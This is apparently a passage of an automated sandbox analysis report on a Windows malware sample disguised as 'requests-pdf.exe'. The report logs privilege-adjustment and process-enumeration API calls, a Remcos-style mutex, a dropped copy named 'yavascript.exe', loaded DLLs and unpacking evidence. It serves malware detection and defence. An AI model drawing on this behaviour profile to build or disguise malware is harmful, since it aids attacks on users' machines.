              Source: requests-pdf.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: yavascript.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: classification engineClassification label: mal100.rans.troj.spyw.expl.evad.winEXE@20/68@1/2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00416AB7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,0_2_00416AB7
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024E6D1E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,0_2_024E6D1E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00416AB7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,15_2_00416AB7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02506D1E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,15_2_02506D1E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00416AB7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,25_2_00416AB7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024F6D1E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,25_2_024F6D1E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0040E219 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,0_2_0040E219
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041A63F FindResourceA,LoadResource,LockResource,SizeofResource,0_2_0041A63F
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,0_2_00419BC4
              Source: C:\Users\user\Desktop\requests-pdf.exeFile created: C:\Users\user\AppData\Roaming\xenorJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7780
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-I7G983
              Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8172
              Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7268
              Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\34e4e11f-db59-43ea-99d1-a73803c51bf1Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Software\0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Rmc-I7G9830_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Exe0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Exe0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Rmc-I7G9830_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: 0DG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Inj0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Inj0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: BG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: BG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: BG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: @CG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: BG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: exepath0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: @CG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: exepath0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: BG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: licence0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: `=G0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: XCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: dCG0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: Administrator0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: User0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: del0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: del0_2_0040D767
              Source: C:\Users\user\Desktop\requests-pdf.exeCommand line argument: del0_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Software\15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Rmc-I7G98315_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Exe15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Exe15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Rmc-I7G98315_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: 0DG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Inj15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Inj15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: @CG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: exepath15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: @CG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: exepath15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: licence15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: `=G15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: dCG15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Administrator15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: User15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: del15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: del15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: del15_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Software\25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: (CG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Exe25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: (CG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: 0DG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Inj25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Inj25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: @CG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: exepath25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: @CG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: exepath25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: BG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: licence25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: `=G25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: XCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: dCG25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: Administrator25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: User25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: del25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: del25_2_0040D767
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCommand line argument: del25_2_0040D767
              Source: requests-pdf.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Users\user\Desktop\requests-pdf.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: requests-pdf.exeReversingLabs: Detection: 55%
              Source: requests-pdf.exeVirustotal: Detection: 50%
              Source: C:\Users\user\Desktop\requests-pdf.exeFile read: C:\Users\user\Desktop\requests-pdf.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\requests-pdf.exe "C:\Users\user\Desktop\requests-pdf.exe"
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 924
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1080
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1084
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1104
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1144
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1152
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Users\user\AppData\Roaming\xenor\yavascript.exe "C:\Users\user\AppData\Roaming\xenor\yavascript.exe"
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1308
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 632
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 652
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 720
              Source: unknownProcess created: C:\Users\user\AppData\Roaming\xenor\yavascript.exe "C:\Users\user\AppData\Roaming\xenor\yavascript.exe"
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 724
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 720
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 916
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 532
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 928
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 968
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Users\user\AppData\Roaming\xenor\yavascript.exe "C:\Users\user\AppData\Roaming\xenor\yavascript.exe" Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: msimg32.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: msvcr100.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: msimg32.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: msvcr100.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: msimg32.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: urlmon.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: iertutil.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: srvcli.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: netutils.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: wininet.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: winmm.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: msvcr100.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\Desktop\requests-pdf.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior

              Data Obfuscation

              barindex
              Detected unpacking (changes PE section rights)
              Source: C:\Users\user\Desktop\requests-pdf.exeUnpacked PE file: 0.2.requests-pdf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeUnpacked PE file: 15.2.yavascript.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeUnpacked PE file: 25.2.yavascript.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,0_2_0041BCE3
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004567E0 push eax; ret 0_2_004567FE
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0045B9DD push esi; ret 0_2_0045B9E6
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00463EF3 push ds; retf 0_2_00463EEC
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00455EAF push ecx; ret 0_2_00455EC2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00433FF6 push ecx; ret 0_2_00434009
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00A50662 pushfd ; ret 0_2_00A50663
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00A4D7ED push es; ret 0_2_00A4D7FA
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D724F push edx; retf 0_2_024D7252
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0250425D push ecx; ret 0_2_02504270
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024F409D push esi; ret 0_2_024F409F
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_02526116 push ecx; ret 0_2_02526129
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_02526A47 push eax; ret 0_2_02526A65
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024E5EC9 push edi; ret 0_2_024E5ECA
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024E5C73 push esp; ret 0_2_024E5C74
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004567E0 push eax; ret 15_2_004567FE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0045B9DD push esi; ret 15_2_0045B9E6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00463EF3 push ds; retf 15_2_00463EEC
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00455EAF push ecx; ret 15_2_00455EC2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00433FF6 push ecx; ret 15_2_00434009
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00ABEB52 pushfd ; ret 15_2_00ABEB53
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00ABBCDD push es; ret 15_2_00ABBCEA
